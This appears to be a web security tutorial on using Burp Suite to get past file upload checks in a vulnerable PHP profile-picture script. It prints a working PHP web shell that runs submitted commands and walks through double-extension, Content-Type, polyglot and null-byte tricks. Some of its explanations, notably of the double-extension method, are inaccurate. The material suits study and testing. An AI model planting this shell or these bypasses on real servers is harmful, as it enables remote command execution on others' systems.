Burp Suite can bypass file upload restrictions by exploiting common web application vulnerabilities in how files are validated and processed.
Let’s see this in action. Imagine a web application that allows users to upload profile pictures. The server is supposed to only accept JPEG and PNG files.
Here’s a simplified (and vulnerable) PHP script on the server-side:
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["profilePic"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["profilePic"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG and PNG files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["profilePic"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars( basename( $_FILES["profilePic"]["name"])). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
The attacker’s goal is to upload a malicious script disguised as an image.
The Vulnerability
The script checks the file extension (.jpg, .png) and uses getimagesize() to verify if it’s an actual image. This seems robust, but it misses a crucial point: what if the file is an image but also contains executable code? Or what if the extension check is bypassed entirely?
Exploitation with Burp Suite
-
Intercept the Request: Configure your browser to use Burp Suite as a proxy. Navigate to the upload page and select a legitimate image file (e.g.,
test.jpg). Submit the form and intercept the HTTP request in Burp’s Proxy tab. -
Craft a Malicious File: Create a file that looks like an image but contains a web shell. For example, a PHP web shell. Let’s call it
shell.php.<?php echo "<h1>Hacked!</h1><form method='post' action=''><input type='text' name='cmd'><button type='submit'>Run</button></form>"; if(isset($_POST['cmd'])){ echo "<pre>".shell_exec($_POST['cmd'])."</pre>"; } ?>This simple PHP script displays a form where you can enter a command, executes it using
shell_exec, and shows the output. -
Bypass Extension Check (Method 1: Double Extension):
- Rename
shell.phptoshell.php.jpg. - In Burp, locate the
Content-Dispositionheader. It will look something like:Content-Disposition: form-data; name="profilePic"; filename="shell.php.jpg" - Change the filename to
shell.jpg.php.Content-Disposition: form-data; name="profilePic"; filename="shell.jpg.php" - The server-side script’s
pathinfo()might interpret.jpgas the extension, allowing it past the initial check, but the actual filename processed by the web server could still beshell.jpg.php. If the server then executes this file based on its.phpextension (which is common if it’s in a web-accessible directory), your shell is live. - Send the request.
- Rename
-
Bypass Extension Check (Method 2: Content-Type Manipulation):
- The server might also check the
Content-Typeheader. For a JPEG, it’s usuallyimage/jpeg. - In Burp, find the
Content-Typeheader for the file upload part of the request. It will look like:Content-Type: image/jpeg - Change the filename in
Content-Dispositiontoshell.phpand change theContent-Typeto something else, liketext/plain.Content-Disposition: form-data; name="profilePic"; filename="shell.php" Content-Type: text/plain - Send the request. If the server only relies on
Content-Typeand the extension check, this might fail. However, if the server is configured to execute any file in the upload directory that has a.phpextension, and thegetimagesize()check is bypassed or flawed, this could work. The key is thatgetimagesize()might still be called ontmp_name, but if the extension check is bypassed, the file could be saved asshell.php.
- The server might also check the
-
Bypass
getimagesize()(Method 3: Polyglot Files):- A polyglot file is a file that is valid in multiple formats. An image polyglot can be both a valid image (e.g., JPEG) and contain executable code (e.g., JavaScript or PHP).
- Create a file that is a valid JPEG but also contains PHP code. This is complex and often involves embedding PHP code within the EXIF data or other metadata sections of the image, or using specific byte sequences.
- Example (conceptual, actual creation is more involved): A file named
shell.jpgthat is a valid JPEG but its EXIF comments contain<?php phpinfo(); ?>. - Upload this
shell.jpg. Thegetimagesize()check will pass because it’s a valid image. The extension check will pass. - However, the web server might be configured to parse PHP files even if they have an image extension if the
Content-Typeis manipulated or if the server’s configuration is weak (e.g.,AddHandler application/x-httpd-php .jpg). - In Burp, intercept the request, and ensure the
filenameisshell.jpgandContent-Typeisimage/jpeg. Then, try to accesshttp://vulnerable-site.com/uploads/shell.jpgdirectly. If the server executes the PHP within it, you’ve bypassed the checks.
-
Bypass
getimagesize()(Method 4: Null Byte Injection - Less Common Now):- Older PHP versions were vulnerable to null byte injection. If the server appended an extension like
.jpgto a filename containing a null byte (%00), it might truncate the filename. - Rename your
shell.phptoshell.php%00.jpg. - In Burp, intercept the request. Change the
filenameinContent-Dispositiontoshell.php%00.jpg. - Send the request. If the server code is
... . basename($_FILES["profilePic"]["name"]), and it doesn’t properly sanitize the null byte, it might save the file asshell.phpbefore the.jpgextension is considered. - This is largely patched in modern PHP.
- Older PHP versions were vulnerable to null byte injection. If the server appended an extension like
The Mental Model
The core idea is that web applications often rely on multiple layers of validation for file uploads:
- Client-side validation: Easily bypassed by disabling JavaScript or using Burp.
- Filename extension check: Checks if the file ends with
.jpg,.png, etc. - MIME type check: Checks the
Content-Typeheader sent by the browser. - Content-based validation: Uses functions like
getimagesize()orfileinfo()to inspect the actual file content.
Attackers aim to find a weakness in any of these layers, or exploit a combination where one layer’s success allows another’s failure. For example, if getimagesize() passes (it’s an image) and the extension check passes (.jpg), but the server also executes PHP files in the upload directory, uploading a file that is both a valid image and a PHP script (a polyglot) can lead to code execution. Or, as seen in Method 1, tricking the extension check into thinking it’s a .jpg while the actual saved filename is .php.
The most surprising thing is how often servers are configured to execute files based on their extension (.php, .asp, .jsp) regardless of their actual MIME type or whether they are valid images, if those files land in a web-accessible directory. This makes the "polyglot" or "double extension" attacks so potent – the server does the final step of execution for you.
The key levers you control are the filename in the Content-Disposition header and the Content-Type header within the multipart form data. You also control the actual bytes of the file being uploaded.
The next problem you’ll likely hit is dealing with servers that perform more robust content validation, like checking magic bytes or using more secure file processing libraries, which often requires more sophisticated file crafting.